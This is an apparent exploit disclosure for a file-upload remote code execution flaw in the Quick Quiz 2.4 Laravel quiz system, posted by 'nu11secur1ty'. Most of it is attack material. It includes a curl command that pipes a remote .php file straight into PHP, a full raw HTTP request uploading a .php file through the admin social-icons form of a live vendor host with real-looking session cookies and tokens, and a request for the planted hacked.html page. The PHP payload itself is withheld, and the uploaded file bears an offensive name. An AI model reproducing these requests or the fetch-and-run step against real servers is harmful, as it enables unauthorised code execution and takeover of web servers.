Quick Quiz 2.4 File Upload - Remote Code Execution Vulnerability

## Title: Quick-Quiz-2.4 File Upload - RCE
## Author: nu11secur1ty
## Vendor: https://mediacity.co.in/mediacity/
## Software: https://codecanyon.net/item/quick-quiz-laravel-quiz-and-exam-system/21117633?s_rank=14
## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

## Description:
The "socialicons" section uploading function is vulnerable to File Upload and RCE attacks, it is not sanitized correctly.
The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be 
the end of this server depending on the scenario! In this case, I just uploaded a php exploit that makes a hacked.html file with a link, which is absolutely DANGER! =)
I am a Penetration Tester, not a stupid cracker! Thank you all!

STATUS: HIGH-CRITICAL Vulnerability

[+]Exploit execution:

```curl
 curl -s https://intouch.mediacity.co.in/public/images/general/1701173124_favicon_rapist.php | php
```
[+] Uploading of the rapist.php exploit:
```PHP
POST /public/admin/moresettings/socialicons/insert HTTP/2
Host: quickquiz.mediacity.co.in
Cookie: _ga=GA1.3.241515555.1701243451; XSRF-TOKEN=eyJpdiI6ImsrWGdKM2ovUW9MVjB4NFlIQU5FdlE9PSIsInZhbHVlIjoiUlhjdDBKK1JndUNjWWVFMmYrSVVRT0xlSGxaOEhNOHgzcjFJMTcwaWxPbkNORDN1V2JHdEk3cHJwRmlyOEg2YUNONjhPWGJmWG5mNEVPMlQxRzNUZEYvbVhQS2VhTkJkdmNTWWNDdTNWVURhWGVxU0hTdCtHWDVMN2p2N0MzWWMiLCJtYWMiOiI4NjllYmNkM2I5OWQzNDQ5Mzk5MTUyYzUyNmRjMzAwYjAyNjI1ODgzODAwNDU0NzRiMmQ5NDVjNWYzYmU1ZWU5IiwidGFnIjoiIn0%3D; quickquiz_session=eyJpdiI6IlZ2VFJVMEU2ZmdDWVhyQVlwWUJDL2c9PSIsInZhbHVlIjoiZFozRTRNNzFNR0NXWThEYjRQZkdTV2pMLzJJSTZVSXpNZU9DeXV3SCtSOXc5bGhCR2lEblluNFJ6WmppZUlpY2lzNE9wNkJ0eWRpTmhpSzE2cnZNRkowZGxSUnM2U09NNklsQnRsSnBlMGFWSit2dVYySGVndzUwWVlReHZXV0siLCJtYWMiOiJlNThmYmNiYzY2Y2IxMjAxNzBlNjQ0NDRlOTYwOGYzNWVkMjdmZGM1ZmJjMmRlYWMyMzM0OTgxOWVkZmUxYzI1IiwidGFnIjoiIn0%3D
Content-Length: 1033
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://quickquiz.mediacity.co.in
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9DBKcGjnaG9bpo8o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://quickquiz.mediacity.co.in/public/admin/moresettings/socialicons
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

------WebKitFormBoundary9DBKcGjnaG9bpo8o
Content-Disposition: form-data; name="_token"

pyqL5WUdCpLSCb4bExZC1I17FR3gQJuA5swv1wl1
------WebKitFormBoundary9DBKcGjnaG9bpo8o
Content-Disposition: form-data; name="title"

rapist
------WebKitFormBoundary9DBKcGjnaG9bpo8o
Content-Disposition: form-data; name="url"

https://www.nu11secur1ty.com/
------WebKitFormBoundary9DBKcGjnaG9bpo8o
Content-Disposition: form-data; name="icon"; filename="rapist.php"
Content-Type: application/octet-stream

<?php
// @nu11secur1ty 2023
// The exploit price is $9000
?>

------WebKitFormBoundary9DBKcGjnaG9bpo8o
Content-Disposition: form-data; name="status"

on
------WebKitFormBoundary9DBKcGjnaG9bpo8o--

```

[+]The request from already creating HTML exploit, building by rapist.php - the File Upload Vulnerability uploaded exploit:
```html

```

[+]Response from hacked.html exploit:
```HTML
GET /public/images/socialicons/hacked.html HTTP/2
Host: quickquiz.mediacity.co.in
Cookie: _ga=GA1.3.241515555.1701243451; XSRF-TOKEN=eyJpdiI6ImxUM3U5ZkFmVVVxZy9MZWRoRlRCOFE9PSIsInZhbHVlIjoiL3VIUmJ3RzEvN2Z4dGU1aXEzb1JNZFRnL3IrZUI3TW1vUHM5TkVEU1J4Qk5Kai9OUCs2aXlHSE02VThxVTR5VkdUQzZpUU90ekRnKzFUSEJ2Tkl4eTJJQktXSXIrZmRWSFM0ZG5GWms2cWdVa2hZenplQkxtZmlCWm9FMlFTYnkiLCJtYWMiOiJjZDRmYTM2ZDllODZmMDVmODY5MDE3YjRlOWMyNjU1YjU0NDM3Mzk3MmY3ZDIxNDVjNjczNDViN2MwOTFkNzkxIiwidGFnIjoiIn0%3D; quickquiz_session=eyJpdiI6IjlVMlFDc0MrTTcyVnkxTFRLRVdjWmc9PSIsInZhbHVlIjoiNjlNR01aWHI5ZGZseHpmbVZhOHhQa1lndFdlcW9kNHJjN1BMUGlMdjlUbUExdmliUUlHb2pFTkdlU0RxZWNkdkRBT0c2RVk2RjNoWjlERCt5YWtNVDlxL05VWGZJbWY0RlV1WjdmUWlGWElzK1JuaFBLRVd6Y0k3RGRIK3hNdEciLCJtYWMiOiI5OGY4ZGVlYTI4ZWVjNTYxNzM0ZmM4MmNmNDc3YWQ1NThkMzIwYmJmMzgzMDEzYWRlMzU3ZWYyNmZiMGUxZDY5IiwidGFnIjoiIn0%3D
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/media-city/Quick-Quiz-2.4)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/12/quick-quiz-24-file-upload-rce.html)

## Time spent:
00:17:00